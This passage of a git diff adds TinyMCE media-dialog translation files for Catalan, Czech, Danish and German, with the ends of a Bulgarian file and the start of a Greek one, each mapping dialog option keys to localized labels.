\u0440\u0435\u0436\u0438\u043c",controller:"\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u0440",menu:"\u041f\u043e\u043a\u0430\u0436\u0438 \u043c\u0435\u043d\u044e",loop:"\u041f\u043e\u0432\u0442\u0430\u0440\u044f\u0439",play:"\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u043d\u043e \u043f\u0443\u0441\u043a\u0430\u043d\u0435",hspace:"H-Space",vspace:"V-Space","class_name":"\u041a\u043b\u0430\u0441",name:"\u0418\u043c\u0435",id:"Id",type:"\u0422\u0438\u043f",size:"\u0420\u0430\u0437\u043c\u0435\u0440\u0438",preview:"\u041f\u0440\u0435\u0433\u043b\u0435\u0434","constrain_proportions":"\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438\u0442\u0435",controls:"\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435",numloop:"\u0411\u0440\u043e\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f",console:"\u041a\u043e\u043d\u0437\u043e\u043b\u0430",cache:"\u041a\u0435\u0448",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"\u0424\u043b\u0430\u0448 \u043f\u0440\u043e\u043c\u0435\u043d\u043b\u0438\u0432\u0438",base:"\u041e\u0441\u043d\u043e\u0432\u0430",bgcolor:"\u0424\u043e\u043d",wmode:"WMode",salign:"SAlign",align:"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",scale:"\u041f\u0440\u0435\u043e\u0440\u0430\u0437\u043c\u0435\u0440\u0438",quality:"\u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e",shuffle:"\u0420\u0430\u0437\u0431\u044a\u0440\u043a\u0430\u0439",prefetch:"\u0421\u0432\u0430\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e",nojava:"\u0411\u0435\u0437 JAVA",maintainaspect:"\u041f\u043e\u0434\u0434\u044a\u0440\u0436\u0430\u0439 \u0441\u044a\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435\u0442\u043e",imagestatus:"\u0421\u0442\u0430\u0442\u0443\u0441 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",center:"\u0426\u0435\u043d\u0442\u044a\u0440",autogotourl:"\u041e\u0442\u0438\u0434\u0438 \u043d\u0430 URL","shockwave_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Shockwave","rmp_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Real media player","wmp_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Windows media player","qt_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Quicktime","flash_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Flash",hidden:"\u0421\u043a\u0440\u0438\u0442","align_bottom_left":"\u0414\u043e\u043b\u0443 \u043b\u044f\u0432\u043e","align_bottom_right":"\u0414\u043e\u043b\u0443 \u0434\u044f\u0441\u043d\u043e",flash:"\u0424\u043b\u0430\u0448 \u0444\u0430\u0439\u043b",quicktime:"Quick Time","embedded_audio_options":"\u0412\u0433\u0440\u0430\u0434\u0435\u043d\u0438 \u0430\u0443\u0434\u0438\u043e \u043e\u043f\u0446\u0438\u0438",windowsmedia:"Windows Media Player",realmedia:"Real Media",shockwave:"Shockwave",audio:"\u0417\u0432\u0443\u043a",video:"\u0412\u0438\u0434\u0435\u043e","html5_video_options":"HTML5 \u0412\u0438\u0434\u0435\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438",altsource1:"\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d \u0438\u0437\u0442\u043e\u0447\u043d\u0438\u043a 1",altsource2:"\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d \u0438\u0437\u0442\u043e\u0447\u043d\u0438\u043a 2",preload:"\u041f\u0440\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u043d\u0435",poster:"\u041f\u043b\u0430\u043a\u0430\u0442",source:"\u0418\u0437\u0442\u043e\u0447\u043d\u0438\u043a","html5_audio_options":"\u0410\u0443\u0434\u0438\u043e \u041e\u043f\u0446\u0438\u0438","preload_none":"\u041d\u0435 \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u0439 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e","preload_metadata":"\u0417\u0430\u0440\u0435\u0434\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u0432\u0438\u0435\u0434\u043e \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u0438\u0442\u0435","preload_auto":"\u041d\u0435\u043a\u0430 \u0431\u0440\u0430\u0443\u0437\u044a\u0440\u044a\u0442 \u043d\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u044f \u0440\u0435\u0448\u0438",iframe:"\u041b\u043e\u043a\u0430\u043b\u0435\u043d \u0444\u0440\u0435\u0439\u043c(iframe)",embeddedaudio:"\u0412\u0433\u0440\u0430\u0434\u0435\u043d\u043e \u0430\u0443\u0434\u0438\u043e"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/ca_dlg.js b/js/tiny_mce2/plugins/media/langs/ca_dlg.js new file mode 100755 index 0000000..1162d4e --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.media_dlg',{list:"Llista",file:"Fitxer/URL",advanced:"Avan\u00e7at",general:"General",title:"Insereix / edita multim\u00e8dia incrustada","align_top_left":"Superior esquerra","align_center":"Centre","align_left":"Esquerra","align_bottom":"Inferior","align_right":"Dreta","align_top":"Superior","qt_stream_warn":"Els recursos rtsp fets flux s\'haurien d\'afegir al camp QT Src sota la pestanya avan\u00e7ada.\nTamb\u00e9 haur\u00edeu d\'afegir una versi\u00f3 no feta flux al camp Src..",qtsrc:"QT Src",progress:"Progr\u00e9s",sound:"S\u00f2",swstretchvalign:"Alineaci\u00f3 vertical de l\'extensor",swstretchhalign:"Alineaci\u00f3 horitzontal de l\'extensor",swstretchstyle:"Estil de l\'extensor",scriptcallbacks:"Crides de retorn a script","align_top_right":"Superior dreta",uimode:"Mode UI",rate:"Velocitat",playcount:"Compte de reproducci\u00f3",defaultframe:"Marc per defecte",currentposition:"Posici\u00f3 actual",currentmarker:"Retolador actual",captioningid:"Id nominal",baseurl:"URL base",balance:"Equilibri",windowlessvideo:"V\u00eddeo sense finestra",stretchtofit:"Estirar fins a encaixar",mute:"Silenci",invokeurls:"Invoca els URL",fullscreen:"Pantalla completa",enabled:"Habilitat",autostart:"Inici autom\u00e0tic",volume:"Volumen",target:"Dest\u00ed",qtsrcchokespeed:"Velocitat",href:"Href",endtime:"Fi",starttime:"Inici",enablejavascript:"Habilita el javascript",correction:"Sense correcci\u00f3",targetcache:"Target cache",playeveryframe:"Reprodueix cada marc",kioskmode:"Mode quiosc",controller:"Controlador",menu:"Mostra el men\u00fa",loop:"Bucle",play:"Reproducci\u00f3 autom\u00e0tica",hspace:"Espai horitzontal",vspace:"Espai vertical","class_name":"Classe",name:"Nom",id:"Id",type:"Tipus",size:"Dimensions",preview:"Previsualitzaci\u00f3","constrain_proportions":"Mant\u00e9 les proporcions",controls:"Controls",numloop:"Nre. bucles",console:"Consola",cache:"Mem\u00f2ria cau",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Fons",wmode:"Mode W",salign:"Alinea S",align:"Alinea",scale:"Escala",quality:"Qualitat",shuffle:"Shuffle",prefetch:"Prec\u00e0rrega",nojava:"Sense java",maintainaspect:"Mant\u00e9 l\'aspecte",imagestatus:"Estat de la imatge",center:"Alinea al centre",autogotourl:"URL goto autom\u00e0tic","shockwave_options":"Opcions del Shockwave","rmp_options":"Opcions del Real media player","wmp_options":"Opcions del Windows media player","qt_options":"Opcions del Quicktime","flash_options":"Opcions del Flash",hidden:"Ocult","align_bottom_left":"Inferior esquerra","align_bottom_right":"Inferior dreta",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Opcions d\'audio incrustat",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Opcions de v\u00eddeo HTML5",altsource1:"Font alternatiu 1",altsource2:"Font alternatiu 2",preload:"Pre-c\u00e0rrega",poster:"Anunci",source:"Font","html5_audio_options":"Opcions d\'audio","preload_none":"No precarregar","preload_metadata":"Precarregar metadata de v\u00eddeo","preload_auto":"Deixar decidir a l\'usuari del navegador",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/cs_dlg.js b/js/tiny_mce2/plugins/media/langs/cs_dlg.js new file mode 100755 index 0000000..b126861 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.media_dlg',{list:"Seznam",file:"Soubor/URL",advanced:"Roz\u0161\u00ed\u0159en\u00e9",general:"Obecn\u00e9",title:"Vlo\u017eit/upravit vkl\u00e1dan\u00e1 m\u00e9dia","align_top_left":"Nahoru vlevo","align_center":"Na st\u0159ed","align_left":"Vlevo","align_bottom":"Dol\u016f","align_right":"Vpravo","align_top":"Nahoru","qt_stream_warn":"Streamovan\u00e9 rtsp zdroje mohou b\u00fdt p\u0159id\u00e1ny do pole \'Soubor/URL streamu pro QT\' na z\u00e1lo\u017ece \'Roz\u0161\u00ed\u0159en\u00e9\'.\nYM\u016f\u017eete tak\u00e9 p\u0159idat nestreamovanou verzi do pole \'Soubor/URL\'.",qtsrc:"Soubor/URL streamu pro QT",progress:"Pr\u016fb\u011bh",sound:"Zvuk",swstretchvalign:"Zarovn\u00e1n\u00ed vert. rozta\u017een\u00ed",swstretchhalign:"Zarovn\u00e1n\u00ed horiz. rozta\u017een\u00ed",swstretchstyle:"Styl rozta\u017een\u00ed",scriptcallbacks:"Skripty zp\u011btn\u00fdch vol\u00e1n\u00ed","align_top_right":"Nahoru vpravo",uimode:"Re\u017eim ovl\u00e1dac\u00edho panelu",rate:"Relativn\u00ed rychlost",playcount:"Po\u010det p\u0159ehr\u00e1n\u00ed",defaultframe:"V\u00fdchoz\u00ed sn\u00edmek",currentposition:"Aktu\u00e1ln\u00ed pozice",currentmarker:"Aktu\u00e1ln\u00ed z\u00e1lo\u017eka",captioningid:"ID popisku m\u00e9dia",baseurl:"Z\u00e1kladn\u00ed URL",balance:"Vyv\u00e1\u017een\u00ed",windowlessvideo:"Video bez okna",stretchtofit:"Rozt\u00e1hnout do okna",mute:"Ztlumit",invokeurls:"Po\u017eadovat URL",fullscreen:"Cel\u00e1 obrazovka",enabled:"Povolit ovl\u00e1dac\u00ed panel",autostart:"Automatick\u00e9 spu\u0161t\u011bn\u00ed",volume:"Hlasitost",target:"C\u00edl",qtsrcchokespeed:"Sn\u00ed\u017een\u00ed rychlosti",href:"Odkaz",endtime:"\u010cas ukon\u010den\u00ed",starttime:"Po\u010d\u00e1te\u010dn\u00ed \u010das",enablejavascript:"Povolit Javascript",correction:"Bez korekc\u00ed",targetcache:"C\u00edlov\u00e1 mezipam\u011b\u0165",playeveryframe:"P\u0159ehr\u00e1t ka\u017ed\u00fd sn\u00edmek",kioskmode:"Zak\u00e1zat ukl\u00e1d\u00e1n\u00ed",controller:"Ovl\u00e1dac\u00ed panel",menu:"Zobrazit nab\u00eddku",loop:"Opakov\u00e1n\u00ed",play:"Automatick\u00e9 p\u0159ehr\u00e1v\u00e1n\u00ed",hspace:"Horizont\u00e1ln\u00ed odsazen\u00ed",vspace:"Vertik\u00e1ln\u00ed odsazen\u00ed","class_name":"T\u0159\u00edda",name:"N\u00e1zev",id:"ID",type:"Typ",size:"Rozm\u011bry",preview:"N\u00e1hled","constrain_proportions":"Zachovat proporce",controls:"Ovl\u00e1dac\u00ed panel",numloop:"Po\u010det opakov\u00e1n\u00ed",console:"Konzola",cache:"Mezipam\u011b\u0165",autohref:"Automatick\u00e9 na\u010dten\u00ed",liveconnect:"Spustit Javu (SWLiveConnect)",flashvars:"Parametry (Flashvars)",base:"Z\u00e1kladn\u00ed slo\u017eka",bgcolor:"Pozad\u00ed",wmode:"Re\u017eim okna",salign:"Zarovn\u00e1n\u00ed okna",align:"Zarovn\u00e1n\u00ed",scale:"Pom\u011br",quality:"Kvalita",shuffle:"N\u00e1hodn\u011b",prefetch:"P\u0159edna\u010dten\u00ed",nojava:"Nespout\u011bt Javu",maintainaspect:"Zachovat pom\u011br stran",imagestatus:"Stav obrazu",center:"Na st\u0159ed",autogotourl:"Automatick\u00fd p\u0159echod na URL","shockwave_options":"Mo\u017enosti Shockwave","rmp_options":"Mo\u017enosti p\u0159ehr\u00e1va\u010de Real media","wmp_options":"Mo\u017enosti p\u0159ehr\u00e1va\u010de Windows media","qt_options":"Mo\u017enosti Quicktime","flash_options":"Mo\u017enosti Flashe",hidden:"Skr\u00fdt","align_bottom_left":"Dol\u016f vlevo","align_bottom_right":"Dol\u016f vpravo",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Volby vlo\u017een\u00e9ho audio souboru",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Mo\u017enosti HTML5 video",altsource1:"Alternativn\u00ed zdroj 1",altsource2:"Alternativn\u00ed zdroj 2",preload:"P\u0159edna\u010d\u00edst",poster:"Obr\u00e1zek (zobraz\u00ed se p\u0159i nedostupnosti videa)",source:"Zdroj","html5_audio_options":"Parametry zvuku","preload_none":"Nena\u010d\u00edtat p\u0159edem","preload_metadata":"Na\u010d\u00edst video metadata p\u0159edem","preload_auto":"Ur\u010d\u00ed prohl\u00ed\u017ee\u010d",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/da_dlg.js b/js/tiny_mce2/plugins/media/langs/da_dlg.js new file mode 100755 index 0000000..d9a88d1 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.media_dlg',{list:"Liste",file:"Fil/URL",advanced:"Avanceret",general:"Generelt",title:"Inds\u00e6t/rediger indlejret mediefil","align_top_left":"\u00d8verste venstre hj\u00f8rne","align_center":"Centreret","align_left":"Venstre","align_bottom":"Bund","align_right":"H\u00f8jret","align_top":"Top","qt_stream_warn":"Streamede rtsp resourcer skal tilf\u00f8jes til QT Src feltet under tabben avanceret.\nDu skal ogs\u00e5 tilf\u00f8je en ikke streamet version til Src feltet..",qtsrc:"QT Src",progress:"Fremskridt",sound:"Lyd",swstretchvalign:"Str\u00e6k V-justering",swstretchhalign:"Str\u00e6k H-justering",swstretchstyle:"Str\u00e6k stil",scriptcallbacks:"Script callbacks","align_top_right":"\u00d8verste h\u00f8jre hj\u00f8rne",uimode:"UI-tilstand",rate:"Vurder",playcount:"Afspil indhold",defaultframe:"Standard ramme",currentposition:"Aktuel position",currentmarker:"Aktuel mark\u00f8r",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Vinduesl\u00f8s video",stretchtofit:"Str\u00e6k for at tilpasse",mute:"Lydl\u00f8s",invokeurls:"Aktiver URL\'er",fullscreen:"Fuldsk\u00e6rm",enabled:"Valgt",autostart:"Afspil automatisk",volume:"Lydstyrke",target:"M\u00e5l",qtsrcchokespeed:"Choke-hastighed",href:"Href",endtime:"Sluttidspunkt",starttime:"Starttidspunkt",enablejavascript:"Tillad JavaScript",correction:"Ingen korrektion",targetcache:"M\u00e5l-cache",playeveryframe:"Afsplil alle rammer",kioskmode:"Kiosk-tilstand",controller:"Controller",menu:"Vis menu",loop:"Gentag",play:"Start",hspace:"H-afstand",vspace:"V-afstand","class_name":"Klasse",name:"Navn",id:"Id",type:"Type",size:"Dimensioner",preview:"Vis udskrift","constrain_proportions":"Bevar proportioner",controls:"Kontroller",numloop:"Antal loops",console:"Konsol",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Baggrund",wmode:"WMode",salign:"SAlign",align:"Juster",scale:"Skaler",quality:"Kvalitet",shuffle:"Bland",prefetch:"Forh\u00e5ndshent",nojava:"Ingen java",maintainaspect:"Bevar aspekt",imagestatus:"Billedstatus",center:"Center",autogotourl:"Auto g\u00e5 til URL","shockwave_options":"Shockwave options","rmp_options":"Real media player egenskaber","wmp_options":"Windows media player egenskaber","qt_options":"Quicktime egenskaber","flash_options":"Flash egenskaber",hidden:"Skjul","align_bottom_left":"Nederste venstre hj\u00f8rne","align_bottom_right":"\u00d8verste h\u00f8jre hj\u00f8rne",flash:"Flash",quicktime:"Quicktime","embedded_audio_options":"Indstillinger for indlejret audio",windowsmedia:"Windows Media",realmedia:"Realmedia",shockwave:"Shockwave",audio:"Lyd",video:"Video","html5_video_options":"HTML5 Video Indstillinger",altsource1:"Alternativ kilde 1",altsource2:"Alternativ kilde 2",preload:"Forudindl\u00e6s",poster:"Poster",source:"Kilde","html5_audio_options":"Audio indstillinger","preload_none":"Preindl\u00e6s ikke","preload_metadata":"Preindl\u00e6s video metadata","preload_auto":"Lad brugerens browser v\u00e6lge",iframe:"iframe",embeddedaudio:"Indlejret lyd"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/de_dlg.js b/js/tiny_mce2/plugins/media/langs/de_dlg.js new file mode 100755 index 0000000..6d0de76 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.media_dlg',{list:"Liste",file:"Datei/URL",advanced:"Erweitert",general:"Allgemein",title:"Multimedia-Inhalte einf\u00fcgen/bearbeiten","align_top_left":"Oben Links","align_center":"Zentriert","align_left":"Links","align_bottom":"Unten","align_right":"Rechts","align_top":"Oben","qt_stream_warn":"In den Erweiterten Einstellungen sollten im Feld \'QT Src\' gestreamte RTSP Resourcen hinzugef\u00fcgt werden.\nZus\u00e4tzlich sollten Sie dort auch eine nicht-gestreamte Resource angeben.",qtsrc:"Angabe zu QT Src",progress:"Fortschritt",sound:"Ton",swstretchvalign:"Stretch V-Ausrichtung",swstretchhalign:"Stretch H-Ausrichtung",swstretchstyle:"Stretch-Art",scriptcallbacks:"Script callbacks","align_top_right":"Oben Rechts",uimode:"UI Modus",rate:"Rate",playcount:"Z\u00e4hler",defaultframe:"Frame-Voreinstellung",currentposition:"Aktuelle Position",currentmarker:"Aktueller Marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Fensterloses Video",stretchtofit:"Anzeigefl\u00e4che an verf\u00fcgbaren Platz anpassen",mute:"Stumm",invokeurls:"Invoke URLs",fullscreen:"Vollbild",enabled:"Aktiviert",autostart:"Autostart",volume:"Lautst\u00e4rke",target:"Ziel",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"Endzeitpunkt",starttime:"Startzeitpunkt",enablejavascript:"JavaScript aktivieren",correction:"Ohne Korrektur",targetcache:"Ziel zwischenspeichern",playeveryframe:"Jeden Frame abspielen",kioskmode:"Kioskmodus",controller:"Controller",menu:"Men\u00fc anzeigen",loop:"Wiederholung",play:"Automatisches Abspielen",hspace:"Horizontaler Abstand",vspace:"Vertikaler Abstand","class_name":"CSS-Klasse",name:"Name",id:"Id",type:"Typ",size:"Abmessungen",preview:"Vorschau","constrain_proportions":"Proportionen erhalten",controls:"Steuerung",numloop:"Anzahl Wiederholungen",console:"Konsole",cache:"Zwischenspeicher",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvariablen",base:"Base",bgcolor:"Hintergrund",wmode:"WMode",salign:"S-Ausrichtung",align:"Ausrichtung",scale:"Skalierung",quality:"Qualit\u00e4t",shuffle:"Zuf\u00e4llige Wiedergabe",prefetch:"Prefetch",nojava:"Kein Java",maintainaspect:"Bildverh\u00e4ltnis beibehalten",imagestatus:"Bildstatus",center:"Zentriert",autogotourl:"Auto goto URL","shockwave_options":"Shockwave-Optionen","rmp_options":"Optionen f\u00fcr Real Media Player","wmp_options":"Optionen f\u00fcr Windows Media Player","qt_options":"Quicktime-Optionen","flash_options":"Flash-Optionen",hidden:"Versteckt","align_bottom_left":"Unten Links","align_bottom_right":"Unten Rechts",flash:"Flash",quicktime:"QuickTime","embedded_audio_options":"Integrierte Audio Optionen",windowsmedia:"WindowsMedia",realmedia:"RealMedia",shockwave:"ShockWave",audio:"Audio",video:"Video","html5_video_options":"HTML5 Video Optionen",altsource1:"Alternative Quelle 1",altsource2:"Alternative Quelle 2",preload:"Preload",poster:"Poster",source:"Quelle","html5_audio_options":"Audio Optionen","preload_none":"Nicht vorladen","preload_metadata":"Video Metadaten vorladen","preload_auto":"Benutzer Browser entscheidet automatisch",iframe:"iFrame",embeddedaudio:"Audio (eingebunden)"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/el_dlg.js b/js/tiny_mce2/plugins/media/langs/el_dlg.js new file mode 100755 index 0000000..157767d --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.media_dlg',{list:"\u039b\u03af\u03c3\u03c4\u03b1",file:"\u0391\u03c1\u03c7\u03b5\u03af\u03bf/URL",advanced:"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2",general:"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac",title:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03bd\u03c3\u03c9\u03bc\u03b1\u03c4\u03c9\u03bc\u03ad\u03bd\u03c9\u03bd media","align_top_left":"\u03a0\u03ac\u03bd\u03c9 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_center":"\u039a\u03ad\u03bd\u03c4\u03c1\u03bf","align_left":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_bottom":"\u039a\u03ac\u03c4\u03c9","align_right":"\u0394\u03b5\u03be\u03b9\u03ac","align_top":"\u03a0\u03ac\u03bd\u03c9","qt_stream_warn":"\u03a0\u03b7\u03b3\u03ad\u03c2 \u03c1\u03bf\u03ce\u03bd rtsp \u03b8\u03b1 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03bf\u03cd\u03bd \u03c3\u03c4\u03bf \u03c0\u03b5\u03b4\u03af\u03bf \u03a0\u03b7\u03b3\u03ae QT \u03ba\u03ac\u03c4\u03c9 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03ba\u03b1\u03c1\u03c4\u03ad\u03bb\u03b1 \u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2.\n\u0395\u03c0\u03af\u03c3\u03b7\u03c2 \u03ba\u03b1\u03bb\u03cc \u03b8\u03b1 \u03ae\u03c4\u03b1\u03bd \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03b8\u03ad\u03c3\u03b5\u03c4\u03b5 \u03bc\u03b9\u03b1 \u03b1\u03c0\u03bb\u03ae (\u03cc\u03c7\u03b9 \u03c1\u03bf\u03ae\u03c2) \u03c0\u03b7\u03b3\u03ae..",qtsrc:"\u03a0\u03b7\u03b3\u03ae \u03b1\u03c1\u03c7\u03b5\u03af\u03bf\u03c5",progress:"\u03a0\u03c1\u03cc\u03bf\u03b4\u03bf\u03c2",sound:"\u0389\u03c7\u03bf\u03c2",swstretchvalign:"\u039a\u03b1\u03c4\u03b1\u03ba\u03cc\u03c1\u03c5\u03c6\u03b7 \u03b5\u03c0\u03ad\u03ba\u03c4\u03b1\u03c3\u03b7",swstretchhalign:"\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03b5\u03c0\u03ad\u03ba\u03c4\u03b1\u03c3\u03b7",swstretchstyle:"\u03a3\u03c4\u03c5\u03bb \u03b5\u03c0\u03ad\u03ba\u03c4\u03b1\u03c3\u03b7\u03c2",scriptcallbacks:"Script callbacks","align_top_right":"\u03a0\u03ac\u03bd\u03c9 \u03b4\u03b5\u03be\u03b9\u03ac",uimode:"\u039b\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 UI",rate:"\u03a1\u03c5\u03b8\u03bc\u03cc\u03c2",playcount:"\u03a0\u03cc\u03c3\u03b5\u03c2 \u03c6\u03bf\u03c1\u03ad\u03c2 \u03b8\u03b1 \u03c0\u03b1\u03af\u03be\u03b5\u03b9",defaultframe:"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03bf \u03ba\u03b1\u03c1\u03ad",currentposition:"\u03a4\u03c1\u03ad\u03c7\u03bf\u03c5\u03c3\u03b1 \u03b8\u03ad\u03c3\u03b7",currentmarker:"\u03a4\u03c1\u03ad\u03c7\u03bf\u03bd \u03c3\u03b7\u03bc\u03ac\u03b4\u03b9",captioningid:"Captioning id",baseurl:"URL \u03b2\u03ac\u03c3\u03b7\u03c2",balance:"\u0399\u03c3\u03bf\u03c1\u03c1\u03bf\u03c0\u03af\u03b1",windowlessvideo:"\u0392\u03af\u03bd\u03c4\u03b5\u03bf \u03c7\u03c9\u03c1\u03af\u03c2 \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf",stretchtofit:"\u0395\u03c0\u03ad\u03ba\u03c4\u03b1\u03c3\u03b7 \u03ce\u03c3\u03c4\u03b5 \u03bd\u03b1 \u03c7\u03c9\u03c1\u03ad\u03c3\u03b5\u03b9",mute:"\u03a3\u03af\u03b3\u03b1\u03c3\u03b7",invokeurls:"\u039a\u03bb\u03ae\u03c3\u03b7 URLs",fullscreen:"\u03a0\u03bb\u03ae\u03c1\u03b7\u03c2 \u03bf\u03b8\u03cc\u03bd\u03b7",enabled:"\u0395\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",autostart:"\u0391\u03c5\u03c4\u03cc\u03bc\u03b1\u03c4\u03b7 \u03b5\u03ba\u03ba\u03af\u03bd\u03b7\u03c3\u03b7",volume:"\u0388\u03bd\u03c4\u03b1\u03c3\u03b7",target:"\u03a3\u03c4\u03cc\u03c7\u03bf\u03c2",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"\u03a7\u03c1\u03cc\u03bd\u03bf\u03c2 \u03bb\u03ae\u03be\u03b7\u03c2",starttime:"\u03a7\u03c1\u03cc\u03bd\u03bf\u03c2 \u03ad\u03bd\u03b1\u03c1\u03be\u03b7\u03c2",enablejavascript:"\u0395\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 JavaScript",correction:"\u03a7\u03c9\u03c1\u03af\u03c2 \u03b4\u03b9\u03cc\u03c1\u03b8\u03c9\u03c3\u03b7",targetcache:"\u039c\u03bd\u03ae\u03bc\u03b7 cache \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",playeveryframe:"\u03a0\u03b1\u03af\u03be\u03b9\u03bc\u03bf \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03ba\u03b1\u03c1\u03ad",kioskmode:"\u039b\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 Kiosk",controller:"\u0395\u03bb\u03b5\u03b3\u03ba\u03c4\u03ae\u03c2",menu:"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03bc\u03b5\u03bd\u03bf\u03cd",loop:"\u0395\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7",play:"\u0391\u03c5\u03c4\u03cc\u03bc\u03b1\u03c4\u03bf \u03b5\u03ba\u03ba\u03af\u03bd\u03b7\u03c3\u03b7",hspace:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1",vspace:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03ac\u03b8\u03b5\u03c4\u03b7","class_name":"\u039a\u03bb\u03ac\u03c3\u03b7",name:"\u038c\u03bd\u03bf\u03bc\u03b1",id:"Id",type:"\u03a4\u03cd\u03c0\u03bf\u03c2",size:"\u0394\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2",preview:"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03c3\u03ba\u03cc\u03c0\u03b7\u03c3\u03b7","constrain_proportions":"\u0394\u03b9\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7 \u03b1\u03bd\u03b1\u03bb\u03bf\u03b3\u03af\u03b1\u03c2 \u03c0\u03bb. - 